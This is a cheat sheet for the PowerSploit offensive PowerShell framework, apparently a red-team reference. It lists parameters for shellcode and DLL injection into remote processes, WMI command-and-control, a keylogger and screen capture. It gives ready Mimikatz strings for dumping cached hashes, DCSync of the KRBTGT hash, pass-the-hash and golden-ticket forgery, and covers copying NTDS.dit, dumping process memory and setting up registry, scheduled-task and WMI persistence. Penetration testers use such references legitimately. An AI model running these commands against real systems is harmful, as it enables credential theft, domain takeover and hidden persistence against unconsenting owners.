

PowerSploit Cheat Sheet



Getting Started

Get PowerSploit: <http://bit.ly/28RwLgo>

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Mimikatz Authors: [@gentilkkiwi](#) and Vincent LE TOUX

Docs: <http://powersploit.readthedocs.io/>

Note: not all PowerSploit functions are covered, and not all options for covered functions are covered. PowerView and PowerUp have their own cheat sheets.

CodeExecution

Invoke-ReflectivePEInjection will reflectively load a DLL/EXE into powershell.exe or a remote process.

A byte array with the PE/DLL to load	-PEBytes @(...)
Optional- one or more remote computers to run the script on.	-ComputerName "comp1","comp2"
Optional arguments to pass to the loaded PE	-ExeArgs "Arg1 Arg2..."
Optional process name to load the PE into	-ProcName <NAME>
Optional process ID to load the PE into	-Procid <ID>

Invoke-Shellcode will inject shellcode into powershell.exe or a remote process. Shellcode should be in the form of a byte array (e.g. 0xXX,0XY,...)

To convert a raw shellcode file in Bash, run the following:
hexdump -ve '/1 "0x%02x,"' file.bin |sed 's/.\$/\''

Process ID to inject shellcode into	-ProcessID <ID>
Byte array of shellcode to inject	-Shellcode @(0xXX,0XY...)

Switch, inject shellcode w/o prompting for confirmation	-Force
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Invoke-WmiCommand executes a PowerShell code on a target computer(s) using WMI as a pure C2 channel.

The scriptblock to run on the target(s)	-Payload { ... }
Optional- one or more remote computers to run the script on.	-ComputerName "comp1", "comp2"
An optional PSCredential object to use for remote execution (default=current user)	-Credential \$Cred

Exfiltration

Get-GPPPassword will decrypt any found passwords set through Group Policy Preferences.

Get-Keystrokes will log keys pressed (along with the time and active window) to a file.

Path for the output log file, defaults to \$Env:Temp\key.log	-LogPath <PATH>
The internal (in minutes) to capture keystrokes. Default is indefinite.	-Timeout <X>

Get-TimedScreenshot will take screenshots on an interval and save them to disk.

The folder path to save screenshots	-LogPath <PATH>
The internal (in seconds) between taking screenshots	-Interval <X>
When the script should stop running, HH-MM format	-EndTime HH-MM

Invoke-Mimikatz uses Invoke-ReflectivePEInjection to inject Mimikatz into memory. By default it will run the **sekurlsa::logonpasswords** module.

To update the Mimikatz code, select the "Second_Release_PowerShell" compile target in the Mimikatz project, compile for both Win32 and x64, **base64 -w 0 powerkatz.dll**, and replace the base64-DLL strings in **Invoke-Mimikatz**.

Optional- one or more remote computers to run the script on.	-ComputerName "comp1", "comp2"
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Custom Mimikatz commands (note: enclose in single quotes)	-Command "'CMD1" "CMD2'"
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Useful custom **Invoke-Mimikatz** commands:

Extract MSCache hashes	"token::elevate" "lsadump::cache" "token::revert"
Export Kerberos tickets as base64 blobs	"standard::base64" "kerberos::list /export"
DCSync the KRBTGT hash for 'domain.local'	"lsadump::dcsync /user:krbtgt /domain:domain.local"
Spawn a process with alternate NTLM credentials	"sekurlsa::pth /user:user /domain:domain.local /ntlm:<NTLM> /run:cmd.exe"
Willy Wonka's Golden Ticket Generator	"kerberos::golden /user:<USER> /krbtgt:<NTLM> /domain:domain.local /sid:<DOMAIN_SID> /ptt"
Purge Kerberos tickets	"kerberos::purge"

Invoke-NinjaCopy can copy locked files from a system by opening up raw disk access and parsing the NTFS structures. This is useful for cloning off things like NTDS.dit and SYSTEM hives.

Full path of the file to copy	-Path C:\Windows\NTDS\NTDS.dit
Local destination to copy the file to	-LocalDestination C:\Temp\NTDS.dit
Destination on remote server to copy file to	-RemoteDestination C:\Temp\NTDS.dit
Optional- one or more remote computers to run the script on.	-ComputerName "comp1", "comp2"

Invoke-TokenManipulation manipulates tokens and is roughly equivalent to Incognito.

Switch. Enumerate unique usable tokens	-Enumerate
Displays current credentials for the powershell.exe process	-WhoAmI
Switch. Revert to original token context	-RevToSelf
Switch. Show ALL tokens	-ShowAll
Create an alternate process with a given token- use with Username/ ProcessId/ThreadId	-CreateProcess "cmd.exe"
Specify the token to impersonate by username	-Username <X>
Specify the token to impersonate by process ID	-ProcessId <Y>
Specify the token to impersonate by thread ID	-ThreadId <Z>
Switch, use if created process doesn't need a UI	-NoUI

Out-Minidump generates a full-memory minidump of a process, similar to procdump.exe with the '-ma' switch.

Example: dump memory of all processes to C:\Temp:

Get-Process | Out-Minidump -DumpFilePath C:\Temp

The process object to dump memory for, passable on the pipeline	-Process (Get-Process -Id 4293)
Path to save the memory dump to, defaults to .\processname_id.dmp	-DumpFilePath .\file.dmp

Persistence

New-UserPersistenceOption builds a user-land option set usable by **Add-Persistence**

Switch, persist via the CurrentVersion\Run key	-Registry
Switch, run the registry payload on any user logon	-AtLogon

Switch, use a userland scheduled task	-ScheduledTask
Run the schtask after one minute of idling	-OnIdle
Run the schtask hourly	-Daily
Run the schtask hourly	-Hourly
Run the schtask at the specified time	-At HH:MM

New-ElevatedPersistenceOption builds an elevated option set usable by **Add-Persistence**

Switch, persist via the CurrentVersion\Run key	-Registry
Switch, use a SYSTEM scheduled task	-ScheduledTask
Switch, use a permanent WMI subscription	-PermanentWMI
Run the schtask after one minute of idling	-OnIdle
Run the schtask hourly	-Hourly
Run the schtask/registry payload on any user logon	-AtLogon
Run the schtask/WMI sub daily	-Daily
Run the schtask/WMI sub at the specified time	-At HH:MM
Run the WMI sub within 5 min of system boot	-AtStartup
Run the schtask at the specified time	-At HH:MM

Add-Persistence adds persistence capabilities to a script.

Payload script block	-ScriptBlock {...}
Payload file	-FilePath .\file.ps1
Elevated persistence options	-ElevatedPersistenceOption \$X
Userland persistence options	-UserPersistenceOption \$Y

Recon

Invoke-Portscan is a simple threaded port scanner that mimics nmap's options.

Hosts to scan, in hostname, IP, or CIDR format	-Hosts host1,host2,... -Hosts 192.168.1.0/24
File with host specifications	-HostFile .\hosts.txt
Comma-separated list of hosts to exclude	-ExcludeHosts host3, host4
Ports to scan	-Ports 21,80-100
Scan the X most common ports	-TopPorts <50-1000>
Exclude ports from scan	-ExcludedPorts X,Y
Treat all hosts as online	-SkipDiscovery
Ping scan only (disable port scan)	-PingOnly
Number of threads to use, defaults to 100	-Threads <X>
Timeout (in milliseconds) for each port check	-Timeout <Y>
Number of hosts to concurrently scan	-nHosts <Z>
Performance options, higher is more aggressive	-T [1-5]
Greppable output	-GrepOut <file>
XML output	-XMLOut <file>
Readable output	-ReadableOut <file>
All output formats	-AllformatsOut <file>
Suppress console output, useful for large scans	-quiet

More Information

<https://github.com/PowerShellMafia/PowerSploit>

<http://www.exploit-monday.com/>

<https://obscuresecurity.blogspot.com/>

<https://clymb3r.wordpress.com/>

<http://blog.harmj0y.net/>